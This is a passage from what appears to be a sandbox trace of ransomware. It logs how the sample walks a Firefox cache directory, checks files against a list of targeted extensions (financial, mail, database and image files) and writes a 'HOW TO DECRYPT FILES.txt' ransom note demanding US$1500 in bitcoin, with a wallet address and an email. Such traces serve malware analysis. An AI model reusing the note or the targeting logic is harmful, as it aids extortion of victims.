HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.mov") returned 0 [0085.811] lstrlenA (lpString="*.mov") returned 5 [0085.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.xdw") returned 0 [0085.811] lstrlenA (lpString="*.xdw") returned 5 [0085.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.ods") returned 0 [0085.812] lstrlenA (lpString="*.ods") returned 5 [0085.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.wav") returned 0 [0085.812] lstrlenA (lpString="*.wav") returned 5 [0085.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.mp3") returned 0 [0085.812] lstrlenA (lpString="*.mp3") returned 5 [0085.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.aiff") returned 0 [0085.812] lstrlenA (lpString="*.aiff") returned 6 [0085.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.flac") returned 0 [0085.812] lstrlenA (lpString="*.flac") returned 6 [0085.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.m4a") returned 0 [0085.812] lstrlenA (lpString="*.m4a") returned 5 [0085.812] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.csv") returned 0 [0085.812] lstrlenA (lpString="*.csv") returned 5 [0085.812] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa60b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CBD4Dd01", cAlternateFileName="")) returned 0 [0085.812] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0085.813] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d7ec50, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d7ec50, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d7ec50, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="F6", cAlternateFileName="")) returned 0 [0085.813] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0085.813] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="2", cAlternateFileName="")) returned 1 [0085.813] lstrcmpA (lpString1=".", lpString2="2") returned -1 [0085.813] lstrcmpA (lpString1="..", lpString2="2") returned -1 [0085.813] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0085.813] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="2" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2" [0085.813] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2") returned 93 [0085.813] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\2\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0085.915] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.915] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.915] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.915] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.915] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0085.915] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0085.915] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x32, dwReserved1=0x0, cFileName="3", cAlternateFileName="")) returned 1 [0085.915] lstrcmpA (lpString1=".", lpString2="3") returned -1 [0085.915] lstrcmpA (lpString1="..", lpString2="3") returned -1 [0085.915] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0085.915] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3" [0085.915] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3") returned 93 [0085.915] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.039] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.039] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.040] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.040] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.040] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4B", cAlternateFileName="")) returned 1 [0086.040] lstrcmpA (lpString1=".", lpString2="4B") returned -1 [0086.040] lstrcmpA (lpString1="..", lpString2="4B") returned -1 [0086.040] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\*.*") returned="*.*" [0086.040] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\", lpString2="4B" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B" [0086.040] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B") returned 96 [0086.040] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502798 [0086.094] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.094] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.094] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.094] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.094] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb72eeab0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x20543, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1D8FDd01", cAlternateFileName="")) returned 1 [0086.094] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0086.095] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1D8FDd01") returned 1 [0086.095] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1D8FDd01") returned 1 [0086.095] lstrcmpiA (lpString1="", lpString2="1D8FDd01") returned -1 [0086.095] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\*.*") returned="*.*" [0086.095] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\" [0086.095] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\") returned="" [0086.095] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\HOW TO DECRYPT FILES.txt" [0086.095] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\how to decrypt files.txt")) returned 0xffffffff [0086.095] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0086.102] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.102] WriteFile (in: hFile=0xa8, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.104] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.104] CloseHandle (hObject=0xa8) returned 1 [0086.104] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\", lpString2="1D8FDd01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01" [0086.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.ems") returned 0 [0086.104] lstrlenA (lpString="*.ems") returned 5 [0086.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.db") returned 0 [0086.104] lstrlenA (lpString="*.db") returned 4 [0086.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.dbf") returned 0 [0086.104] lstrlenA (lpString="*.dbf") returned 5 [0086.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.myox") returned 0 [0086.104] lstrlenA (lpString="*.myox") returned 6 [0086.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.myo") returned 0 [0086.105] lstrlenA (lpString="*.myo") returned 5 [0086.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.qbw") returned 0 [0086.105] lstrlenA (lpString="*.qbw") returned 5 [0086.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.qbb") returned 0 [0086.105] lstrlenA (lpString="*.qbb") returned 5 [0086.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.qbm") returned 0 [0086.105] lstrlenA (lpString="*.qbm") returned 5 [0086.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.qbo") returned 0 [0086.105] lstrlenA (lpString="*.qbo") returned 5 [0086.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.qbx") returned 0 [0086.105] lstrlenA (lpString="*.qbx") returned 5 [0086.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.qba") returned 0 [0086.105] lstrlenA (lpString="*.qba") returned 5 [0086.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.qby") returned 0 [0086.105] lstrlenA (lpString="*.qby") returned 5 [0086.105] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.qbj") returned 0 [0086.106] lstrlenA (lpString="*.qbj") returned 5 [0086.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.ofx") returned 0 [0086.106] lstrlenA (lpString="*.ofx") returned 5 [0086.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.qif") returned 0 [0086.106] lstrlenA (lpString="*.qif") returned 5 [0086.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.mye") returned 0 [0086.106] lstrlenA (lpString="*.mye") returned 5 [0086.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.mbox") returned 0 [0086.106] lstrlenA (lpString="*.mbox") returned 6 [0086.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.eml") returned 0 [0086.106] lstrlenA (lpString="*.eml") returned 5 [0086.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.pst") returned 0 [0086.106] lstrlenA (lpString="*.pst") returned 5 [0086.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.ost") returned 0 [0086.106] lstrlenA (lpString="*.ost") returned 5 [0086.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.idx") returned 0 [0086.106] lstrlenA (lpString="*.idx") returned 5 [0086.106] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.dbx") returned 0 [0086.107] lstrlenA (lpString="*.dbx") returned 5 [0086.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.sql") returned 0 [0086.107] lstrlenA (lpString="*.sql") returned 5 [0086.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.mdb") returned 0 [0086.107] lstrlenA (lpString="*.mdb") returned 5 [0086.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.fdb") returned 0 [0086.107] lstrlenA (lpString="*.fdb") returned 5 [0086.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.wab") returned 0 [0086.107] lstrlenA (lpString="*.wab") returned 5 [0086.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.dat") returned 0 [0086.107] lstrlenA (lpString="*.dat") returned 5 [0086.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.txt") returned 0 [0086.107] lstrlenA (lpString="*.txt") returned 5 [0086.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.jpeg") returned 0 [0086.107] lstrlenA (lpString="*.jpeg") returned 6 [0086.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.jpg") returned 0 [0086.107] lstrlenA (lpString="*.jpg") returned 5 [0086.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.png") returned 0 [0086.107] lstrlenA (lpString="*.png") returned 5 [0086.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.php") returned 0 [0086.107] lstrlenA (lpString="*.php") returned 5 [0086.107] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 